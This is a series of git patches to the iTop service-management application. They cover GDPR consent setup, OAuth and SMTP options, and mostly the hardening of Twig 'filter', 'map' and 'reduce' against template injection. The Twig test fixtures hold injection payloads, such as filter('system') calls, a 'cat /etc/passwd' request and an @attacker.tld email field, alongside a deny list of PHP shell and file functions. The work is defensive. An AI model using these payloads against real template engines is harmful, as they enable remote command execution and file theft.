=?UTF-8?q?N=C2=B05758=20Change=20setup=20test=20f?= =?UTF-8?q?or=20GDPR=20consent=20(#336)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit We were using SetupUtils::IsProductVersion, but this was blocking for certain packages like TeemIP standalone. After this change we are now relying on a new method : \SetupUtils::IsConnectableToITopHub. It will check the iTop Hub Connector module presence instead. --- setup/setuputils.class.inc.php | 12 ++++++++++++ setup/wizardsteps.class.inc.php | 12 +++++++----- 2 files changed, 19 insertions(+), 5 deletions(-) diff --git a/setup/setuputils.class.inc.php b/setup/setuputils.class.inc.php index c8eb6847a..1ba6b9c35 100644 --- a/setup/setuputils.class.inc.php +++ b/setup/setuputils.class.inc.php @@ -1594,6 +1594,18 @@ JS return array_key_exists('itsm-designer-connector', $aModules); } + /** + * @param array $aModules List of available module codes + * + * @return bool true if the Hub connector is installed + * + * @since 2.7.8 3.0.3 3.1.0 N°5758 method creation + */ + public static function IsConnectableToITopHub($aModules) + { + return array_key_exists('itop-hub-connector', $aModules); + } + /** * @param array $aModules Available modules with code as key and metadata array as values * Same structure as the one returned by {@link \RunTimeEnvironment::AnalyzeInstallation} diff --git a/setup/wizardsteps.class.inc.php b/setup/wizardsteps.class.inc.php index b834c2a77..9adb5692c 100644 --- a/setup/wizardsteps.class.inc.php +++ b/setup/wizardsteps.class.inc.php @@ -707,15 +707,17 @@ class WizStepLicense extends WizardStep } /** - * @return bool + * @return bool true if we need to display a GDPR confirmation * @throws \Exception - * @since 2.7.7 3.0.2 3.1.0 + * @since 2.7.7 3.0.2 3.1.0 N°5037 method creation + * @since 2.7.8 3.0.3 3.1.0 N°5758 rename from NeedsRgpdConsent to NeedsGdprConsent */ - private function NeedsRgpdConsent() + private function NeedsGdprConsent() { $sMode = $this->oWizard->GetParameter('install_mode'); $aModules = SetupUtils::AnalyzeInstallation($this->oWizard); - return $sMode == 'install' && !SetupUtils::IsProductVersion($aModules); + + return (($sMode === 'install') && SetupUtils::IsConnectableToITopHub($aModules)); } /** @@ -752,7 +754,7 @@ EOF $oPage->add(''); $sChecked = ($this->oWizard->GetParameter('accept_license', 'no') == 'yes') ? ' checked ' : ''; $oPage->p(''); - if ($this->NeedsRgpdConsent()) { + if ($this->NeedsGdprConsent()) { $oPage->add('
'.ITOP_APPLICATION.' software is compliant with the processing of personal data according to the European General Data Protection Regulation (GDPR).

By installing '.ITOP_APPLICATION.' you agree that some information will be collected by Combodo to help you manage your instances and for statistical purposes. This data remains anonymous until it is associated to a user account on iTop Hub.

From f0141530b99427a7c9ef7f5088b45616b89b6aab Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Thu, 24 Nov 2022 16:12:53 +0100 Subject: [PATCH 064/230] =?UTF-8?q?N=C2=B05725=20-=20Twig=20update=20'filt?= =?UTF-8?q?er',=20'map'=20and=20'reduce'=20filters=20(+1=20squashed=20comm?= =?UTF-8?q?its)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Squashed commits: [00148dec5] N°5725 - Twig update 'filter', 'map' and 'reduce' filters --- .../portal/src/Twig/AppExtension.php | 32 ++++++- test/twig/TwigTest.php | 5 + test/twig/test.html | 79 +++++++++------- test/twig/test.html.twig | 92 ++++++++++--------- 4 files changed, 131 insertions(+), 77 deletions(-) diff --git a/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php b/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php index b44f62e86..c4f51f9c7 100644 --- a/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php +++ b/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php @@ -100,15 +100,41 @@ class AppExtension extends AbstractExtension //since 2.7.7 3.0.2 3.1.0 N°4867 "Twig content not allowed" error when use the extkey widget search icon in the user portal //overwrite native twig filter : disable use of 'system' filter $filters[] = new Twig_SimpleFilter('filter', function ($array, $arrow) { - if ($arrow == 'system'){ - return json_encode($array); + $ret = $this->SanitizeFilter($array, $arrow); + if ($ret !== false) { + return [$ret]; } - return twig_array_filter($array, $arrow); + return twig_array_filter($array, $arrow); + }); + $filters[] = new Twig_SimpleFilter('map', function ($array, $arrow) { + $ret = $this->SanitizeFilter($array, $arrow); + if ($ret !== false) { + return [$ret]; + } + return twig_array_map($array, $arrow); + }); + $filters[] = new Twig_SimpleFilter('reduce', function ($array, $arrow, $initial = null) { + $ret = $this->SanitizeFilter($array, $arrow); + if ($ret !== false) { + return $ret; + } + // reduce return mixed results not only arrays + return twig_array_reduce($array, $arrow, $initial); }); return $filters; } + private function SanitizeFilter($array, $arrow) + { + if (is_string($arrow)) { + if (in_array(strtolower($arrow), ['system', 'exec', 'passthru', 'popen'])) { + return json_encode($array); + } + } + return false; + } + /** * @return array|\Twig\TwigFunction[]|\Twig_SimpleFunction[] */ diff --git a/test/twig/TwigTest.php b/test/twig/TwigTest.php index f47bc10be..f14420c81 100644 --- a/test/twig/TwigTest.php +++ b/test/twig/TwigTest.php @@ -5,6 +5,11 @@ use Combodo\iTop\Portal\Twig\AppExtension; use Twig_Environment; use Twig_Loader_Array; +/** + * @runTestsInSeparateProcesses + * @preserveGlobalState disabled + * @backupGlobals disabled + */ class TwigTest extends ItopDataTestCase { protected function setUp(): void diff --git a/test/twig/test.html b/test/twig/test.html index 2406bbfd4..3fb370a80 100644 --- a/test/twig/test.html +++ b/test/twig/test.html @@ -1,33 +1,46 @@ -
- User Name -
- ['id']|filter('system') -
- ["id"] -
- ['touch+/tmp/test+']|filter('system')|join(',') -
- ["touch+\/tmp\/test+"] -
- set sizes = [34, 36, 38, 40, 42] - sizes|filter(v => v > 38)|join(', ') -
- 40, 42 -
- app.request.server.all|join(',') -
- self -
- [0]|reduce('system','echo') -
- ["echo"] -
- ['echo']|map('system')|join -
- ["echo"] -
- ['echo',1]|sort('system')|join -
- echo1 - POST /subscribe?0=cat+/etc/passwd HTTP/1.1 - email=""@attacker.tld \ No newline at end of file +
User Name
+ +
['id']|filter('system')|join
+["id"] + +
['echo']|filter('passthru')|join
+["echo"] + +
['echo']|filter('popen')|join
+["echo"] + +
['echo']|filter('exec')|join
+["echo"] + +
['id']|filter('SysteM')|join
+["id"] + +
['touch+/tmp/test+']|filter('system')|join(',')
+["touch+\/tmp\/test+"] + +
[34, 36, 38, 40, 42]|filter(v => v > 38)|join(', ')
+40, 42 + +
app.request.server.all|join(',')
+ + +
self
+ + +
[0]|reduce('system','echo')
+[0] + +
[1, 2, 3]|reduce((carry, v) => carry + v)
+6 + +
['echo']|map('system')|join
+["echo"] + +
{"Bob": "Smith", "Alice": "Dupond"}|map((value, key) => "#{key} #{value}")|join(', ')
+Bob Smith, Alice Dupond + +
['echo',1]|sort('system')|join
+echo1 + +POST /subscribe?0=cat+/etc/passwd HTTP/1.1 +email=""@attacker.tld \ No newline at end of file diff --git a/test/twig/test.html.twig b/test/twig/test.html.twig index 5825249c3..1e350299f 100644 --- a/test/twig/test.html.twig +++ b/test/twig/test.html.twig @@ -1,41 +1,51 @@ -{% spaceless %} -
- {{ 'UI:Login:UserNamePrompt'|dict_s }} -
-
- ['id']|filter('system') -
- {{ ['id']|filter('system') }} -
- ['touch+/tmp/test+']|filter('system')|join(',') -
- {{ ['touch+/tmp/test+']|filter('system')|join(',') }} -
- set sizes = [34, 36, 38, 40, 42] - sizes|filter(v => v > 38)|join(', ') -
- {% set sizes = [34, 36, 38, 40, 42] %} - {{ sizes|filter(v => v > 38)|join(', ') }} -
- app.request.server.all|join(',') -
- {{ app.request.server.all|join(',') }} {# needs syfony #} -
- self -
- {{ self }} {# ??? not sure #} -
- [0]|reduce('system','echo') -
- {{ [0]|reduce('system','echo') }} -
- ['echo']|map('system')|join -
- {{ ['echo']|map('system')|join }} -
- ['echo',1]|sort('system')|join -
- {{ ['echo',1]|sort('system')|join }} - POST /subscribe?0=cat+/etc/passwd HTTP/1.1 - email="{{ app.request.query.filter(0,0,1024,{'options':'system'}) }}"@attacker.tld -{% endspaceless %} \ No newline at end of file +
{{ 'UI:Login:UserNamePrompt'|dict_s }}
+ +
['id']|filter('system')|join
+{{ ['id']|filter('system')|join }} + +
['echo']|filter('passthru')|join
+{{ ['echo']|filter('passthru')|join }} + +
['echo']|filter('popen')|join
+{{ ['echo']|filter('popen')|join }} + +
['echo']|filter('exec')|join
+{{ ['echo']|filter('exec')|join }} + +
['id']|filter('SysteM')|join
+{{ ['id']|filter('SysteM')|join }} + +
['touch+/tmp/test+']|filter('system')|join(',')
+{{ ['touch+/tmp/test+']|filter('system')|join(',') }} + +
[34, 36, 38, 40, 42]|filter(v => v > 38)|join(', ')
+{{ [34, 36, 38, 40, 42]|filter(v => v > 38)|join(', ') }} + +
app.request.server.all|join(',')
+{{ app.request.server.all|join(',')}} + +
self
+{{ self }} + +
[0]|reduce('system','echo')
+{{ [0]|reduce('system','echo') }} + +
[1, 2, 3]|reduce((carry, v) => carry + v)
+{% set numbers = [1, 2, 3] %} +{{ numbers|reduce((carry, v) => carry + v) }} + +
['echo']|map('system')|join
+{{ ['echo']|map('system')|join }} + +
{"Bob": "Smith", "Alice": "Dupond"}|map((value, key) => "#{key} #{value}")|join(', ')
+{% set people = { +"Bob": "Smith", +"Alice": "Dupond", +} %} +{{ people|map((value, key) => "#{key} #{value}")|join(', ') }} + +
['echo',1]|sort('system')|join
+{{ ['echo',1]|sort('system')|join }} + +POST /subscribe?0=cat+/etc/passwd HTTP/1.1 +email="{{ app.request.query.filter(0,0,1024,{'options':'system'}) }}"@attacker.tld \ No newline at end of file From 51a305b4457b2d7047edd94447c5aa1a63cb2075 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 30 Nov 2022 13:40:44 +0100 Subject: [PATCH 065/230] =?UTF-8?q?N=C2=B05725=20-=20Twig=20update=20'filt?= =?UTF-8?q?er',=20'map'=20and=20'reduce'=20filters=20(twig=20functions=20s?= =?UTF-8?q?ignature=20changed)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../itop-portal-base/portal/src/Twig/AppExtension.php | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php b/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php index 164c1e71b..9f28a9850 100644 --- a/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php +++ b/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php @@ -23,7 +23,9 @@ use AttributeDate; use AttributeDateTime; use AttributeText; use Dict; +use Twig\Environment; use Twig\Extension\AbstractExtension; +use Twig\Loader\FilesystemLoader; use Twig_SimpleFilter; use Twig_SimpleFunction; use utils; @@ -166,14 +168,16 @@ class AppExtension extends AbstractExtension if ($ret !== false) { return [$ret]; } - return twig_array_filter($array, $arrow); + $oEnv = new Environment(new FilesystemLoader()); + return twig_array_filter($oEnv, $array, $arrow); }); $filters[] = new Twig_SimpleFilter('map', function ($array, $arrow) { $ret = $this->SanitizeFilter($array, $arrow); if ($ret !== false) { return [$ret]; } - return twig_array_map($array, $arrow); + $oEnv = new Environment(new FilesystemLoader()); + return twig_array_map($oEnv, $array, $arrow); }); $filters[] = new Twig_SimpleFilter('reduce', function ($array, $arrow, $initial = null) { $ret = $this->SanitizeFilter($array, $arrow); @@ -181,7 +185,8 @@ class AppExtension extends AbstractExtension return $ret; } // reduce return mixed results not only arrays - return twig_array_reduce($array, $arrow, $initial); + $oEnv = new Environment(new FilesystemLoader()); + return twig_array_reduce($oEnv, $array, $arrow, $initial); }); return $filters; From e518d34bc9780b247fe3140c0ca2555de306a5d2 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Fri, 25 Nov 2022 09:15:31 +0100 Subject: [PATCH 066/230] =?UTF-8?q?N=C2=B05553=20-=20OAuth=202=20:=20Hide?= =?UTF-8?q?=20Client=20Secret=20=20*=20client=5Fid=20is=20now=20255=20char?= =?UTF-8?q?s=20(AttributeString)=20=20*=20client=5Fsecret=20is=20now=2064?= =?UTF-8?q?=20chars=20(AttributePassword)=20and=20cannot=20be=20anymore=20?= =?UTF-8?q?in=20the=20uniqueness=20rules=20=20*=20The=20modification=20of?= =?UTF-8?q?=20redirect=5Furl,=20client=5Fid=20or=20client=5Fsecret=20chang?= =?UTF-8?q?e=20the=20status=20to=20inactive=20and=20generate=20a=20session?= =?UTF-8?q?=20message=20to=20ask=20for=20token=20regeneration?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../datamodel.itop-oauth-client.xml | 48 ++++++------------- 1 file changed, 14 insertions(+), 34 deletions(-) diff --git a/datamodels/2.x/itop-oauth-client/datamodel.itop-oauth-client.xml b/datamodels/2.x/itop-oauth-client/datamodel.itop-oauth-client.xml index 3335ab29a..52f751d49 100644 --- a/datamodels/2.x/itop-oauth-client/datamodel.itop-oauth-client.xml +++ b/datamodels/2.x/itop-oauth-client/datamodel.itop-oauth-client.xml @@ -52,12 +52,12 @@ true - + client_id false - + client_secret false @@ -293,7 +293,6 @@ - true @@ -441,21 +440,6 @@ } ]]> - - false - protected - Overload-DBObject - ListChanges(); - if (array_key_exists('client_id', $aChanges) || array_key_exists('client_secret', $aChanges) || array_key_exists('redirect_url', $aChanges)) { - $sMessage = Dict::S('itop-oauth-client:Message:RegenerateToken'); - self::SetSessionMessage(get_class($this), $this->GetKey(), 'RegenerateToken', $sMessage, 'info', 1); - } - } - ]]> - false public @@ -501,6 +485,12 @@ $this->Set('used_scope', 'advanced'); $this->Set('scope', ''); } + $aChanges = $this->ListChanges(); + if (array_key_exists('client_id', $aChanges) || array_key_exists('client_secret', $aChanges) || array_key_exists('redirect_url', $aChanges)) { + $sMessage = Dict::S('itop-oauth-client:Message:RegenerateToken'); + self::SetSessionMessage(get_class($this), $this->GetKey(), 'RegenerateToken', $sMessage, 'info', 1); + $this->Set('status', 'inactive'); + } } ]]> @@ -604,7 +594,6 @@ - true @@ -799,6 +788,12 @@ $this->Set('used_scope', 'advanced'); $this->Set('scope', ''); } + $aChanges = $this->ListChanges(); + if (array_key_exists('client_id', $aChanges) || array_key_exists('client_secret', $aChanges) || array_key_exists('redirect_url', $aChanges)) { + $sMessage = Dict::S('itop-oauth-client:Message:RegenerateToken'); + self::SetSessionMessage(get_class($this), $this->GetKey(), 'RegenerateToken', $sMessage, 'info', 1); + $this->Set('status', 'inactive'); + } } ]]> @@ -872,21 +867,6 @@ } ]]> - - false - protected - Overload-DBObject - ListChanges(); - if (array_key_exists('client_id', $aChanges) || array_key_exists('client_secret', $aChanges) || array_key_exists('redirect_url', $aChanges)) { - $sMessage = Dict::S('itop-oauth-client:Message:RegenerateToken'); - self::SetSessionMessage(get_class($this), $this->GetKey(), 'RegenerateToken', $sMessage, 'info', 1); - } - } - ]]> - From aff9c7748b7ebaceadfd253edc85aa0e9ebed031 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Tue, 29 Nov 2022 08:55:29 +0100 Subject: [PATCH 067/230] =?UTF-8?q?N=C2=B05155=20-=20Email=20by=20SMTP=20w?= =?UTF-8?q?ith=20self-signed=20certificate?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/config.class.inc.php | 16 ++++++++++++++++ sources/Core/Email/EmailSwiftMailer.php | 3 +++ 2 files changed, 19 insertions(+) diff --git a/core/config.class.inc.php b/core/config.class.inc.php index 45efc63c6..0506e8ec8 100644 --- a/core/config.class.inc.php +++ b/core/config.class.inc.php @@ -555,6 +555,22 @@ class Config 'source_of_value' => '', 'show_in_conf_sample' => false, ), + 'email_transport_smtp.allow_self_signed' => array( + 'type' => 'bool', + 'description' => 'Allow self signed peer certificates', + 'default' => false, + 'value' => false, + 'source_of_value' => '', + 'show_in_conf_sample' => false, + ), + 'email_transport_smtp.verify_peer' => array( + 'type' => 'bool', + 'description' => 'Verify peer certificate', + 'default' => false, + 'value' => false, + 'source_of_value' => '', + 'show_in_conf_sample' => false, + ), 'email_css' => array( 'type' => 'string', 'description' => 'CSS that will override the standard stylesheet used for the notifications', diff --git a/sources/Core/Email/EmailSwiftMailer.php b/sources/Core/Email/EmailSwiftMailer.php index 01d8b5d24..03b2d4801 100644 --- a/sources/Core/Email/EmailSwiftMailer.php +++ b/sources/Core/Email/EmailSwiftMailer.php @@ -159,11 +159,14 @@ class EmailSwiftMailer extends EMail $sEncryption = static::$m_oConfig->Get('email_transport_smtp.encryption'); $sUserName = static::$m_oConfig->Get('email_transport_smtp.username'); $sPassword = static::$m_oConfig->Get('email_transport_smtp.password'); + $bAllowSelfSigned = static::$m_oConfig->Get('email_transport_smtp.allow_self_signed'); + $bVerifyPeer = static::$m_oConfig->Get('email_transport_smtp.verify_peer'); $oTransport = new Swift_SmtpTransport($sHost, $sPort, $sEncryption); if (strlen($sUserName) > 0) { $oTransport->setUsername($sUserName); $oTransport->setPassword($sPassword); + $oTransport->setStreamOptions(array('ssl' => array('allow_self_signed' => $bAllowSelfSigned, 'verify_peer' => $bVerifyPeer))); } break; From 957ff40f30734a798ed4c4e7f62e73dec95929a2 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Fri, 2 Dec 2022 09:25:53 +0100 Subject: [PATCH 068/230] =?UTF-8?q?N=C2=B05155=20-=20Email=20by=20SMTP=20w?= =?UTF-8?q?ith=20self-signed=20certificate=20(changed=20default=20values?= =?UTF-8?q?=20to=20the=20previous=20behaviour)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/config.class.inc.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/config.class.inc.php b/core/config.class.inc.php index 0506e8ec8..c0178cc7e 100644 --- a/core/config.class.inc.php +++ b/core/config.class.inc.php @@ -566,8 +566,8 @@ class Config 'email_transport_smtp.verify_peer' => array( 'type' => 'bool', 'description' => 'Verify peer certificate', - 'default' => false, - 'value' => false, + 'default' => true, + 'value' => true, 'source_of_value' => '', 'show_in_conf_sample' => false, ), From 9077f7ba37947cefb97a64711b5fc133a87cdd6c Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Fri, 2 Dec 2022 11:17:01 +0100 Subject: [PATCH 069/230] =?UTF-8?q?N=C2=B05430=20-=20OAuth=20authenticatio?= =?UTF-8?q?n=20:=20customize=20redirect=20landing=20URL=20-=20remove=20unn?= =?UTF-8?q?ecessary=20parameter=20to=20JS=20function=20OAuthConnect?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- datamodels/2.x/itop-oauth-client/assets/js/oauth_connect.js | 3 +-- .../2.x/itop-oauth-client/src/Service/PopupMenuExtension.php | 4 +--- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/datamodels/2.x/itop-oauth-client/assets/js/oauth_connect.js b/datamodels/2.x/itop-oauth-client/assets/js/oauth_connect.js index 1ce571112..4cc1c85d1 100644 --- a/datamodels/2.x/itop-oauth-client/assets/js/oauth_connect.js +++ b/datamodels/2.x/itop-oauth-client/assets/js/oauth_connect.js @@ -77,11 +77,10 @@ const oOpenSignInWindow = function (url, name) { }; -const OAuthConnect = function(sClass, sId, sAjaxUri, sReturnUri) { +const OAuthConnect = function(sClass, sId, sAjaxUri) { sOAuthAjaxURI = sAjaxUri; sOAuthObjClass = sClass; sOAuthObjKey = sId; - sOAuthReturnURI = sReturnUri; $.post( sOAuthAjaxURI, diff --git a/datamodels/2.x/itop-oauth-client/src/Service/PopupMenuExtension.php b/datamodels/2.x/itop-oauth-client/src/Service/PopupMenuExtension.php index 31189de73..3ed993ad4 100644 --- a/datamodels/2.x/itop-oauth-client/src/Service/PopupMenuExtension.php +++ b/datamodels/2.x/itop-oauth-client/src/Service/PopupMenuExtension.php @@ -7,7 +7,6 @@ namespace Combodo\iTop\OAuthClient\Service; use ApplicationContext; -use Combodo\iTop\Core\Authentication\Client\OAuth\OAuthClientProviderFactory; use Dict; use iPopupMenuExtension; use JSPopupMenuItem; @@ -42,11 +41,10 @@ class PopupMenuExtension implements \iPopupMenuExtension $sAjaxUri = utils::GetAbsoluteUrlModulePage(static::MODULE_CODE, 'ajax.php'); // Add a new menu item that triggers a custom JS function defined in our own javascript file: js/sample.js $sJSFileUrl = utils::GetAbsoluteUrlModulesRoot().static::MODULE_CODE.'/assets/js/oauth_connect.js'; - $sRedirectUri = OAuthClientProviderFactory::GetRedirectUri(); $aResult[] = new JSPopupMenuItem( $sMenu.' from '.$sObjClass, Dict::S($sMenu), - "OAuthConnect('$sClass', $sId, '$sAjaxUri', '$sRedirectUri')", + "OAuthConnect('$sClass', $sId, '$sAjaxUri')", [$sJSFileUrl] ); From dad22f6f839cff61a5094054d69ca43db718e36d Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Wed, 7 Dec 2022 11:04:33 +0100 Subject: [PATCH 070/230] :page_facing_up: Update Licenses --- setup/licenses/community-licenses.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup/licenses/community-licenses.xml b/setup/licenses/community-licenses.xml index f6a3e945b..d96546dd6 100644 --- a/setup/licenses/community-licenses.xml +++ b/setup/licenses/community-licenses.xml @@ -1705,7 +1705,7 @@ to represent the company, product, or service to which they refer.** apereo/phpcas - Joachim Fritschi - Adam Franco + Joachim Fritschi - Adam Franco - Henry Pan Apache-2.0 Date: Wed, 7 Dec 2022 11:59:34 +0100 Subject: [PATCH 071/230] =?UTF-8?q?N=C2=B05725=20-=20Twig=20update=20'filt?= =?UTF-8?q?er',=20'map'=20and=20'reduce'=20filters?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../portal/src/Twig/AppExtension.php | 77 +++++++++++++++---- test/twig/test.html | 10 +-- test/twig/test.html.twig | 4 +- 3 files changed, 71 insertions(+), 20 deletions(-) diff --git a/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php b/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php index c4f51f9c7..8e29416aa 100644 --- a/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php +++ b/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php @@ -20,6 +20,7 @@ namespace Combodo\iTop\Portal\Twig; use Dict; +use PhpParser\Node\Expr\Closure; use Twig\Extension\AbstractExtension; use Twig_SimpleFilter; use Twig_SimpleFunction; @@ -98,7 +99,7 @@ class AppExtension extends AbstractExtension return $sUrl; }); //since 2.7.7 3.0.2 3.1.0 N°4867 "Twig content not allowed" error when use the extkey widget search icon in the user portal - //overwrite native twig filter : disable use of 'system' filter + // Since 2.7.8 filter more functions as filter 'filter' is used by the portal $filters[] = new Twig_SimpleFilter('filter', function ($array, $arrow) { $ret = $this->SanitizeFilter($array, $arrow); if ($ret !== false) { @@ -106,20 +107,13 @@ class AppExtension extends AbstractExtension } return twig_array_filter($array, $arrow); }); + // Since 2.7.8 deactivate map $filters[] = new Twig_SimpleFilter('map', function ($array, $arrow) { - $ret = $this->SanitizeFilter($array, $arrow); - if ($ret !== false) { - return [$ret]; - } - return twig_array_map($array, $arrow); + return $array; }); + // Since 2.7.8 deactivate reduce $filters[] = new Twig_SimpleFilter('reduce', function ($array, $arrow, $initial = null) { - $ret = $this->SanitizeFilter($array, $arrow); - if ($ret !== false) { - return $ret; - } - // reduce return mixed results not only arrays - return twig_array_reduce($array, $arrow, $initial); + return $array; }); return $filters; @@ -127,10 +121,67 @@ class AppExtension extends AbstractExtension private function SanitizeFilter($array, $arrow) { + $aRestricted = [ + 'system', + 'exec', + 'passthru', + 'popen', + 'proc_open', + 'shell_exec', + 'file_get_contents', + 'file_put_contents', + 'eval', + 'pcntl_exec', + 'chgrp', + 'chmod', + 'chown', + 'lchgrp', + 'lchown', + 'umask', + 'copy', + 'delete', + 'unlink', + 'link', + 'mkdir', + 'rmdir', + 'rename', + 'symlink', + 'tempnam', + 'tmpfile', + 'touch', + 'fgetc', + 'fgetcsv', + 'fgets', + 'fgetss', + 'file', + 'flock', + 'fopen', + 'fpassthru', + 'fputcsv', + 'fputs', + 'fread', + 'fscanf', + 'ftruncate', + 'fwrite', + 'glob', + 'readfile', + 'readlink', + 'parse_ini_file', + 'mail', + ]; + $aRestrictedStartWith = ['ftp_', 'zip_', 'stream_']; + if (is_string($arrow)) { - if (in_array(strtolower($arrow), ['system', 'exec', 'passthru', 'popen'])) { + if (in_array(strtolower($arrow), $aRestricted)) { return json_encode($array); } + foreach ($aRestrictedStartWith as $sRestrictedStartWith) { + if (utils::StartsWith($arrow, $sRestrictedStartWith)) { + return json_encode($array); + } + } + } elseif ($arrow instanceof Closure) { + return json_encode($array); } return false; } diff --git a/test/twig/test.html b/test/twig/test.html index 3fb370a80..15039796e 100644 --- a/test/twig/test.html +++ b/test/twig/test.html @@ -19,7 +19,7 @@ ["touch+\/tmp\/test+"]
[34, 36, 38, 40, 42]|filter(v => v > 38)|join(', ')
-40, 42 +[34,36,38,40,42]
app.request.server.all|join(',')
@@ -28,16 +28,16 @@
[0]|reduce('system','echo')
-[0] +0
[1, 2, 3]|reduce((carry, v) => carry + v)
-6 +1, 2, 3
['echo']|map('system')|join
-["echo"] +echo
{"Bob": "Smith", "Alice": "Dupond"}|map((value, key) => "#{key} #{value}")|join(', ')
-Bob Smith, Alice Dupond +Smith, Dupond
['echo',1]|sort('system')|join
echo1 diff --git a/test/twig/test.html.twig b/test/twig/test.html.twig index 1e350299f..1232f8104 100644 --- a/test/twig/test.html.twig +++ b/test/twig/test.html.twig @@ -28,11 +28,11 @@ {{ self }}
[0]|reduce('system','echo')
-{{ [0]|reduce('system','echo') }} +{{ [0]|reduce('system','echo')|join(', ') }}
[1, 2, 3]|reduce((carry, v) => carry + v)
{% set numbers = [1, 2, 3] %} -{{ numbers|reduce((carry, v) => carry + v) }} +{{ numbers|reduce((carry, v) => carry + v)|join(', ') }}
['echo']|map('system')|join
{{ ['echo']|map('system')|join }} From 2b917f66478e9d9b613cd8cac23e98f4e3f1baf2 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 7 Dec 2022 13:42:36 +0100 Subject: [PATCH 072/230] Merge branch 'support/2.7' into support/3.0 # Conflicts: # datamodels/2.x/itop-oauth-client/src/Service/PopupMenuExtension.php --- .../2.x/itop-oauth-client/src/Service/PopupMenuExtension.php | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/datamodels/2.x/itop-oauth-client/src/Service/PopupMenuExtension.php b/datamodels/2.x/itop-oauth-client/src/Service/PopupMenuExtension.php index 106b0ea83..9af459894 100644 --- a/datamodels/2.x/itop-oauth-client/src/Service/PopupMenuExtension.php +++ b/datamodels/2.x/itop-oauth-client/src/Service/PopupMenuExtension.php @@ -7,7 +7,6 @@ namespace Combodo\iTop\OAuthClient\Service; use ApplicationContext; -use Combodo\iTop\Core\Authentication\Client\OAuth\OAuthClientProviderFactory; use Dict; use iPopupMenuExtension; use JSPopupMenuItem; @@ -42,11 +41,10 @@ class PopupMenuExtension implements \iPopupMenuExtension $sAjaxUri = utils::GetAbsoluteUrlModulePage(static::MODULE_CODE, 'ajax.php'); // Add a new menu item that triggers a custom JS function defined in our own javascript file: js/sample.js $sJSFileUrl = 'env-'.utils::GetCurrentEnvironment().'/'.static::MODULE_CODE.'/assets/js/oauth_connect.js'; - $sRedirectUri = OAuthClientProviderFactory::GetRedirectUri(); $aResult[] = new JSPopupMenuItem( $sMenu.' from '.$sObjClass, Dict::S($sMenu), - "OAuthConnect('$sClass', $sId, '$sAjaxUri', '$sRedirectUri')", + "OAuthConnect('$sClass', $sId, '$sAjaxUri')", [$sJSFileUrl] ); From ae94e58a43bfb79d7a4930eb518e407dbd81cbe9 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 7 Dec 2022 13:53:15 +0100 Subject: [PATCH 073/230] =?UTF-8?q?N=C2=B05725=20-=20Twig=20update=20'filt?= =?UTF-8?q?er',=20'map'=20and=20'reduce'=20filters?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../2.x/itop-portal-base/portal/src/Twig/AppExtension.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php b/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php index 8e29416aa..4792f34fa 100644 --- a/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php +++ b/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php @@ -19,8 +19,8 @@ namespace Combodo\iTop\Portal\Twig; +use Closure; use Dict; -use PhpParser\Node\Expr\Closure; use Twig\Extension\AbstractExtension; use Twig_SimpleFilter; use Twig_SimpleFunction; From cf433f2f80932b0c087c3d0df85a4a8e27ddd675 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Thu, 8 Dec 2022 08:25:11 +0100 Subject: [PATCH 074/230] =?UTF-8?q?N=C2=B05725=20-=20Twig=20update=20'filt?= =?UTF-8?q?er',=20'map'=20and=20'reduce'=20filters?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../2.x/itop-portal-base/portal/src/Twig/AppExtension.php | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php b/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php index 4792f34fa..f7edad1c0 100644 --- a/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php +++ 